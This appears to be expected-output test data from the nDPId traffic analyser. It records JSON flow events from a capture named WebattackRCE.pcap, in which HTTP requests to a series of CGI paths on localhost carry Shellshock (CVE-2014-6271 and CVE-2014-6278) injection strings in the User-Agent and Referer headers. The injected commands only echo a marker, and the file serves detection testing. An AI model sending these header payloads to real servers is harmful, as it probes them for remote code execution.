+00721{"flow_id":487,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":454483,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJpZBAAEAGllx\/AAABfwAAAcVoH5CGpZ1eF0nj7YAYAED+\/QAAAQEICp1m\/fadZv32R0VUIC90ZXN0LmNnaSBIVFRQLzEuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":487,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":487,"flow_packet_id":1,"flow_first_seen":1576420277454,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50536,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":488,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":488,"flow_packet_id":1,"flow_first_seen":1576420277455,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50538,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":488,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":455962,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENkNNAAEAGqxV\/AAABfwAAAcVqH5AR5agGdIx514AYAED\/AQAAAQEICp1m\/fedZv33R0VUIC90ZXN0X2NnaS5waHAgSFRUUC8xLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":488,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":488,"flow_packet_id":1,"flow_first_seen":1576420277455,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50538,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test_cgi.php","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":489,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":489,"flow_packet_id":1,"flow_first_seen":1576420277458,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50540,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":489,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":458428,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENOM9AAEAGAxp\/AAABfwAAAcVsH5CGwwAaI+XJXIAYAED\/AQAAAQEICp1m\/fqdZv36R0VUIC90ZXN0LmNnaS5waHAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":489,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":489,"flow_packet_id":1,"flow_first_seen":1576420277458,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50540,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test.cgi.php","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":490,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":490,"flow_packet_id":1,"flow_first_seen":1576420277459,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50542,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":490,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":459765,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEMfPpAAEAGvu9\/AAABfwAAAcVuH5CbL0QudOlGT4AYAED\/AAAAAQEICp1m\/fudZv37R0VUIC90ZXN0X2NnaS5wbCBIVFRQLzEuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":490,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":490,"flow_packet_id":1,"flow_first_seen":1576420277459,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50542,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test_cgi.pl","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":491,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":491,"flow_packet_id":1,"flow_first_seen":1576420277460,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50544,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":491,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":460921,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEMyD1AAEAGc6x\/AAABfwAAAcVwH5BPvfDvcLTsqIAYAED\/AAAAAQEICp1m\/fydZv38R0VUIC90ZXN0LWNnaS5wbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":491,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":491,"flow_packet_id":1,"flow_first_seen":1576420277460,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50544,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test-cgi.pl","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":492,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":492,"flow_packet_id":1,"flow_first_seen":1576420277462,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50546,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":492,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":462051,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEIoLlAAEAGmzR\/AAABfwAAAcVyH5A1vJhjWIrHxIAYAED+\/AAAAQEICp1m\/f2dZv39R0VUIC90ZXN0LnB5IEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":492,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":492,"flow_packet_id":1,"flow_first_seen":1576420277462,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50546,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test.py","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":493,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":493,"flow_packet_id":1,"flow_first_seen":1576420277463,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50548,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":493,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":463162,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEILLBAAEAGDz5\/AAABfwAAAcV0H5AN6xR8l7l+o4AYAED+\/AAAAQEICp1m\/f+dZv3+R0VUIC90ZXN0LnNoIEhUVFAvMS4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":493,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":493,"flow_packet_id":1,"flow_first_seen":1576420277463,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50548,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test.sh","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":494,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":494,"flow_packet_id":1,"flow_first_seen":1576420277464,"flow_last_seen":0,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":250,"flow_max_l4_data_len":250,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50550,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":494,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":464286,"pkt_caplen":284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":284,"pkt_l4_len":250,"pkt":"AAAAAAAAAAAAAAAACABFAAEOUvlAAEAG6O5\/AAABfwAAAcV2H5BXVWoitNrsWoAYAED\/AgAAAQEICp1m\/gCdZv4AR0VUIC90bVVuYmxvY2suY2dpIEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":494,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":494,"flow_packet_id":1,"flow_first_seen":1576420277464,"flow_last_seen":0,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":250,"flow_max_l4_data_len":250,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50550,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/tmUnblock.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":495,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":495,"flow_packet_id":1,"flow_first_seen":1576420277465,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50552,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":495,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":465461,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEKgUVAAEAGuqZ\/AAABfwAAAcV4H5AZ0bmWzQ36cYAYAED+\/gAAAQEICp1m\/gGdZv4BR0VUIC91bmFtZS5jZ2kgSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":495,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":495,"flow_packet_id":1,"flow_first_seen":1576420277465,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50552,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/uname.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":496,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":496,"flow_packet_id":1,"flow_first_seen":1576420277466,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50554,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":496,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":466738,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEM2vpAAEAGYO9\/AAABfwAAAcV6H5AtBOIv4uMLlYAYAED\/AAAAAQEICp1m\/gKdZv4CR0VUIC92aWV3Y3ZzLmNnaSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":496,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":496,"flow_packet_id":1,"flow_first_seen":1576420277466,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50554,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/viewcvs.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":497,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":497,"flow_packet_id":1,"flow_first_seen":1576420277467,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50556,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00722{"flow_id":497,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":467985,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEITytAAEAG7MJ\/AAABfwAAAcV8H5BFlnf\/97sS7IAYAED+\/AAAAQEICp1m\/gOdZv4DR0VUIC93ZWxjb21lIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":497,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":497,"flow_packet_id":1,"flow_first_seen":1576420277467,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50556,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/welcome","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":498,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":498,"flow_packet_id":1,"flow_first_seen":1576420277469,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50558,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":498,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":469234,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEK4AFAAEAGW+p\/AAABfwAAAcV+H5B29+cpQb7It4AYAED+\/gAAAQEICp1m\/gWdZv4FR0VUIC93aG9pcy5jZ2kgSFRUUC8xLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":498,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":498,"flow_packet_id":1,"flow_first_seen":1576420277469,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50558,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/whois.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} 